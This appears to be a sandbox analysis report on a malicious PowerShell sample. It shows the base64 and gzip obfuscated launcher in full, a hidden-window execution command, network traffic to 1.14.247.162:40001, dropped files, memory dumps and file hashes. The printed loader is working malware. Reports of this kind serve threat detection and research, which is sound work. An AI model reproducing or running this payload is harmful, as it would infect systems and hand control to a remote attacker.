AHMAcAA5AGgASABqAFEAUABQAFkAKwBJADYAdABGAHgATAB7ADEAfQB6AEMAdgBuAGgASABvADQAbABWAHgAdwBiAEEAWgBhAGcAYwA5AEwAMwB5AHAAegA5AFoAMQBZAEgARQBZAHEARABnAEcAOQA2AHgAcQBDAHQAYgBDAEYASgBNAEYAMwA2AGwAdABpAG4ATwArADMAOAB6AFUAUQBGAFQAcwBVAFoAVgBsAFoAbQBPAGEAUQBwAFcANQBaADAARABHAGkAewAxAH0AQwBzAEwAVQBwAFMAUgB7ADEAfQA1AEcAVQBzAC8AZwB5AEwAYgA2AG8AcQArAGEAVQBFAFIAZABsADcAQwA1AHUAWABmAG8AVwB6AGQAdQB0AG4AVABqAEsAVwBKAHEANwA0AEYAWgBBAHcATgBBAFQANwBCAEoARQBPAFMAQgBsAFkAVQBBADgATABKADkAMQAnACcAKwAnACcANAB0ADkAdgBMADcANABKAFIAdwBkAFIAQwB0AHsAMgB9AEQAewAyAH0AZwA3AGcARAB0AGoAaABNAE8AaQBNAEIAMAB2AHEAbABXACsAQgBVAGEAcgBvAG0AQQAzAEQAaABPAEkAUQBpAEMANQBWAFEANgBIAEkAaAB4AHAAeABTADUASgBMAGUAQwBFAGYAZQA4AFcAMwBGAGIAMABuAHcAegBYAHkATwBUAEIAMwBSAEYANgBwAEMAZAA3AFcAYQBjAHoASwBnAHsAMgB9AFYAUwBCAGkAJwAnACsAJwAnAFcASQBnAHcAegBSADkAZgA4AHAAOABYADMAeAA0AGQAcAAwAFUAbgB4AHoAagBuAGgAUABzAFoAVgA4AFoAagB3AEgAQwB1AGgAdwA0AHsAMgB9ACcAJwArACcAJwBGADYAZwArAGcAQwBTAE0AbwBBAEQAQwBXAE4AUQB4AGwAbAArAEsAbAAxAEwAVABUAGkASAA5AFUASgBtAFUAbwB3AG4ATwAnACcAKwAnACcANQBBAEoAOQBqAGEAewAyAH0ALwByAHcAQwBKADgASwBuADkAbAA5ADcAMwAwAGUANwBRAFoAJwAnACsAJwAnAFYAJwAnACsAJwAnADAAaAB6AEcAcQB0AHYASgBwAG4AMwBsAGcAMABTAE8ALwB0AEgAOQBvAEUAbQB1AE4ALwBKAHcAVwA3AGQAYQBUAE8AOABOAFcAVwBjAHEARABXAGEAewAyAH0ASgByAGMAQwBWADYANABaAGYARgA3ADMAZgBWAE0AYQBHAEsAVABtAE8ANABGAEwAYQA5AFAAdQBvAEsAbwA3AFcAWQAwAGMAQgB6AGEAWABkAFoAWABoAHQAbABxAEQAUgBVADEAcQBOAGwAdQBUAFoAbQAwAFAANgBEAG4AJwAnACsAJwAnAEEAdAA1AGMAOABMAFMAVABIADAAeABqAG0AJwAnACsAJwAnAFUARgBFAG4AWQAzAG0AWQB5AGIAVQBoADcAWQAwADYAOAA0ADMAZABVAEoAWQB7ADEAfQBIAFYAUgBiAFMAcgBDADEANAAwAHgALwBjAHIAcgBWAGEAcgBYAHQAbwBmADQAagA5AFMAUQA1ADkAaABvADAAUgA5AFkAOABOAGcAWgB1AEsARgBlAHIAbAB1AG8AeAB3ADYAeAByAGgAdgB7ADIAfQB1AG0ASABNADcARABiAHYAOQBoAE8AeABUADUAdQBnAGYANgB1AE8AZAA1AEgAOQBXAHYARwBRAFQAegBnADkAZQBVAC8AVQBOAE8AdgBOAFYAUQA4AHIAVgBiAHUAWgBiAEkARQBmAGIAegBkADQAUABCADMANQBEAGcANwBVAGIAJwAnACsAJwAnAE8AVQA5AHcAOQBnAGcAOAB5AGIARABuAFUAYQBmAEIARAB1AE8AdgB3AHkAUABzADgAZQA4ADAANwBDADAAVABOADcAVABDAFQAZABNAC8AcQBFAGEAdgBCAFgAUQBTADYAaQBZAHsAMQB9AFIAdAB0AHEAMwBkAEkATQA1AEkATQBPAGoAVQBDAE8AUQBJAGUAbgBTAFkAdQByAGMAcABqAFgAbAAxAHQAbgBzAFoAeABnACsAOQBGAEcANABjAG4AQwB5AHQASwBaAG0AMwBWAGQAcAB6AFIAYwBOAGwAagBUAGkAQgBUAGkAbQBHADEAVABqAFoAegBIAFIAWAAxAHAAegBSAHEAYQBvAFgAOABOAGQAbQA1AGYAQwA3AFgAZAB2AHEAVQAxAGcANQBOAEwAbABZAEYAdQB0AFUAMQBYAFUAZABEAE0AVgBGAHEAYgBwAHYAWQAwAHsAMQB9ADQALwBNAGoAYgBFAGMATABoAGYATABlAEwAWQBQAEQAcQBqAG0ATwBmAE4AKwBXADUAMQBGADgAWABIAGUAUwBHAHgAbgBGADUAaQBPADMAVgA1ADQAVABUAGwARABaAHEAQwBnAGIAcgBDAGQATABLAHoANQB2AEIAWgBZAEcAMwBzAHYAbQBmADEAZwBRAFoAYgBWAGYAcgBWAHQAagAnACcAKwAnACcAMAA1AFUAaQB5AFYAcABGAEEAYwBLADYARgAvADMARABDAHYAYwBwAFoAYgBlAGUAZwA5AG4ATgB2AEsAVAA3AFEAWABiACsAagBJAGUAegB4AHcASABBADkANwBnAC8ANwByAFMAJwAnACsAJwAnAEoAOABQAGUARQBlAHoAdgBHAFUAYwBOAGQANgB0ADEAcwAxADEAdgA0AFcARABFAGoAVQBaADcATwBaAFoAewAyAH0AbQBQAFIAOQBTAGUAcABKAEUAbQBEAGkASgBNAHEAVQBnAGoAeQBRAE0AeAB7ADIAfQA5ADEAcgAxAFkANgBzAEMANQBvAHQAbABJAC8AbQB3AFQAUABLADcAJwAnACsAJwAnAFcAbgBZAFgAewAyAH0AcQBlAC8ARwA4AG4ASABRADUAZgBJAGYAcgBWADEAJwAnACsAJwAnADMAOABTADYAbwA4AHEASABxAHIAWgBQAFcAYQBaAHsAMQB9ADEAcgBwAHUAcgBoAG4ATwBXAHgAbwBjAGoAUQB5AFAAUQBUAFQAYQBxAGIAZgBQAFQASAA1AEEAYgBLADUATgBFAHIATgBsAFkARgA1AEoAdwBTAGIAdQA4AGgAZgB6ACsAVwB5AEgAbwBMADgAYQB2AGMAdQBSAEgASABWAEoARgBhAFIAWQBnAEMAcgB7ADIAfQBEAHoAZQA5AGUAdwBwAFEANABWAFcANwBkAGIAQgBvAFQAegBpAEcASwBsAHoAZgBSAEgAcQBjAFIAcAB2AEMATQBnAEkAZgBHAFAAZgBVAGwAUwBtAE8AWABOADkATgBMADMANABOAEcAZgBtAHsAMQB9AHYAJwAnACsAJwAnAHYATgB1AGIAdwA0AHQAZQBiADgAMQBLAHcAagBOAGgANgBhAFgATgAzAHIAYwArAGYAbAB5AEMAbAByAHkAbQBIAEUANgBWAE0AWQA1ADgARgBwAFIAcgBwAHsAMQB9AGEAdABCAHMAewAxAH0AeABkAHEAcQAxAEwAewAyAH0AWABqADUAMAAzAHIAeABNAGwAWgA1AEwATABLAHYATAB0AGUAbwBMAG4ASgBwAGgAZgBaAEkASQA1AHMAQgBWAEgAOAA5AFcARABCAEkANABwAEIATgBmADgAeABYAEQAOQBDAEQAdQA3AGUAUQAvAEcARgBiAG4AQwB0AGkAQgB3AC8ATwBZADcAcABhAC8AUgB1AGgAagB7ADEAfQBIAHcAeQB2AHcAQQBMAFUANgBtAEwANwBpADcANgBkAHIAbQBJAEMARQBCAC8AeABGAEsARABEACsAdgAnACcAKwAnACcASABqADkAWABDAGwAewAyAH0AVABGAFoALwBiAGUAVABjAFMAbgAnACcAKwAnACcAcwBBAFAAOQA1AC8AaQA1AHkAWAB2AGYAOQB3ACsAbABQAFIAVgBDAHQAZgBBAGYAcAB1ACsAOQB1AE4AVgAxADMAeABGADAASgBnAEkAOABLAEEAVQBvAGMAbQBSAGYASAAxADMAZgBRAHsAMQB9AEUAcgBkADAAZQBlAFYAbAA3AGgALwBJAGgAdQAxAHQAOABIADgAVAB7ACcAJwArACcAJwAyAH0ANQB3ADkAYQBQAEIAQwB2AGYAVABKAGYAdwBQAEcAeABTAGcALwB4AHcAdwBBAEEAQQB7ADAAfQB7ADAAfQAnACcAKQAtAGYAJwAnAD0AJwAnACwAJwAnADIAJwAnACwAJwAnAGsAJwAnACkAKQApACkALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIALsM1{1}UCA7VXeY/aShL//0nvO1hPSBiF4Z5JiBRpbcAcwebwheGhVWM3d{2}P7iN3myNv33beaY{1}aiTHazK6Uliz6qqqt+dTXbPHIZiSMhjN8rwl+//ybcxhSlKBTEQpg/fi{2}LhfycLJull+PC3hI+CeJ'+'KSpJuHCISrT9+7ORpiiN{1}XVf6mElZhsMNJTgTS8K/BDvAKX6YbHbYZcJfQuGflT6NN4jeyM4d5AZYeJAij5+NYxdxzSp6Qg{2}Ti3/+WSytHurrSu9LjmgmFvVzxnBY8SgtloS/'+'S/xC45xgsagSN4{1}zeMsqNomajYoZZWiLNZB{1}wCpmQexlRTDlxZ'+'gUszyNuE1cyJVELMJ0msau5H{2}pzrJiWVhx8av1+h/i6nb3PI8YCXFlGDGcxomO0wNxcVYZoMijeI63a+DSWUoif10qAd{2}h3mOxEOWUloX/RYyo4eMduZ9lEl8zAdWUpaUyePQ7K9'+'XYyym+8hXfUPMSAyUYz3EA6P3NAdzeoydR5s4b0fOycR+ryw{2}GlcVpnJEL8yehVhZUuB6xOD3DsmC{2}OS6tnwGHa78mjU35Z8XV77zAiZY57KysmHjrF/5v3F9IpiGn+XEsd/GWRLh7jlBI3Hu4im85BW8pv{2}BSuZNpoJ9Y'+'vB1gr4sp9hHjQPPY+I6tFxL{1}zCvnhHo4lVxwbAZagc9L3ypz9Z1YHEYqDgG96xqCtbCFJMF36ltinO+38zUQFTsUZVlZmOaQpW5Z0DGi{1}CsLUpSR{1}5GUs/gyLb6oq+aUERdl7C5uXfoWzdutnTjKWJq74FZAwNAT7BJEOSBlYUA8LJ91'+'4t9vL74JRwdRCt{2}D{2}g7gDtjhMOiMB0vqlW+BUaromA3DhOIQiC5VQ6HIhxpxS5JLeCEfe8W3Fb0nwzXyOTB3RF6pCd7WaczKg{2}VSBi'+'WIgwzR9f8p8X3x4dp0UnxzjnhPsZV8ZjwHCuhw4{2}'+'F6g+gCSMoADCWNQxll+Kl1LTTiH9UJmUownO'+'5AJ9ja{2}/rwCJ8Kn9l9730e7QZ'+'V'+'0hzGqtvJpn3lg0SO/tH9oEmuN/JwW7daTO8NWWcqDWa{2}JrcCV64ZfF73fVMaGKTmO4FLa9PuoKo7WY0cBzaXdZXhtlqDRU1qNluTZm0P6Dn'+'At5c8LSTH0xjm'+'UFEnY3mYybUh7Y06843dUJY{1}HVRbSrC140x/crrVarXtof4j9SQ59ho0R9Y8NgZuKFerluoxw6xrhv{2}umHM7Dbv9hOxT5ugf6uOd5H9WvGQTzg9eU/UNOvNVQ8rVbuZbIEfbzd4PB35Dg7Ub'+'OU9w9gg8ybDnUafBDuOvwyPs8e807C0TN7TCTdM/qEavBXQS6iY{1}Rttq3dIM5IMOjUCOQIenSYurcpjXl1tnsZxg+9FG4cnCytKZm3VdpzRcNljTiBTimG1TjZzHRX1pzRqaoX8Ndm5fC7XdvqU1g5NLlYFutU1XUdDMVFqbpvY0{1}4/MjbEcLhfLeLYPDqjmOfN+W51F8XHeSGxnF5iO3V54TTlDZqCgbrCdLKz5vBZYG3svmf1gQZbVfrVtj'+'05UiyVpFAcK6F/3DCvcpZbeeg9nNvKT7QXb+jIezxwHA97g/7rS'+'J8PeEezvGUcNd6t1s11v4WDEjUZ7OZZ{2}mPR9SepJEmDiJMqUgjyQMx{2}91r1Y6sC5otlI/mwTPK7'+'WnYX{2}qe/G8nHQ5fIfrV1'+'38S6o8qHqrZPWaZ{1}1rpurhnOWxocjQyPQTTaqbfPTH5AbK5NErNlYF5JwSbu8hfz+WyHoL8avcuRHHVJFaRYgCr{2}Dze9ewpQ4VW7dbBoTziGKlzfRHqcRpvCMgIfGPfUlSmOXN9NL34NGfm{1}v'+'vNubw4teb81KwjNh6aXN3rc+flyClrymHE6VMY58FpRrp{1}atBs{1}xdqq1L{2}Xj503rxMlZ5LLKvLteoLnJphfZII5sBVH89WDBI4pBNf8xXD9CDu7eQ/GFbnCtiBw/OY7pa/Ruhj{1}HwyvwALU6mL7i76drmICEB/xFKDD+v'+'Hj9XCl{2}TFZ/beTcSn'+'sAP95/i5yXvf9w+lPRVCtfAfpu+9uNV13xF0JgI8KAUocmRfH13fQ{1}Erd0eeVl7h/Ihu1t8H8T{'+'2}5w9aPBCvfTJfwPGxSg/xwwAAA{0}{0}')-f'=','2','k')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 144.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
CN 1.14.247.162:40001 tcp
BE 88.221.83.208:443 www.bing.com tcp
US 8.8.8.8:53 208.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
CN 1.14.247.162:40001 tcp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
CN 1.14.247.162:40001 tcp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
CN 1.14.247.162:40001 tcp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
CN 1.14.247.162:40001 tcp
CN 1.14.247.162:40001 tcp
US 8.8.8.8:53 31.73.42.20.in-addr.arpa udp

Files

memory/3520-0-0x0000000070E5E000-0x0000000070E5F000-memory.dmp

memory/3520-1-0x0000000002740000-0x0000000002776000-memory.dmp

memory/3520-2-0x0000000004E90000-0x00000000054B8000-memory.dmp

memory/3520-3-0x0000000070E50000-0x0000000071600000-memory.dmp

memory/3520-4-0x0000000004D70000-0x0000000004D92000-memory.dmp

memory/3520-7-0x00000000056E0000-0x0000000005746000-memory.dmp

memory/3520-6-0x0000000070E50000-0x0000000071600000-memory.dmp

memory/3520-5-0x0000000005670000-0x00000000056D6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hetgcf1l.yx0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3520-17-0x0000000005750000-0x0000000005AA4000-memory.dmp

memory/3520-18-0x0000000005D20000-0x0000000005D3E000-memory.dmp

memory/3520-19-0x0000000005D70000-0x0000000005DBC000-memory.dmp

memory/3520-20-0x0000000007660000-0x0000000007CDA000-memory.dmp

memory/3520-21-0x0000000006240000-0x000000000625A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 4280e36a29fa31c01e4d8b2ba726a0d8
SHA1 c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512 494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

memory/3520-25-0x0000000070E50000-0x0000000071600000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 58dc1ef0285e286c835471881410477a
SHA1 b6f8eb1ef1f7b1ca77fe038a26f29015f3a45369
SHA256 07ede8f68ab707886a55e6a4aa754ad281b44fcd9402b3a8066dfd64d238b39b
SHA512 7b0721a40ef02ae0352971056ffbaa08dbf0a8b8c83d76f036bfa191c2389f6cdd48a4d1616658adad63ca0dba1504fc9b5edd9777457731d5d5786a762b966f

memory/1068-36-0x0000000006680000-0x00000000066CC000-memory.dmp

memory/1068-37-0x0000000005BC0000-0x0000000005BC1000-memory.dmp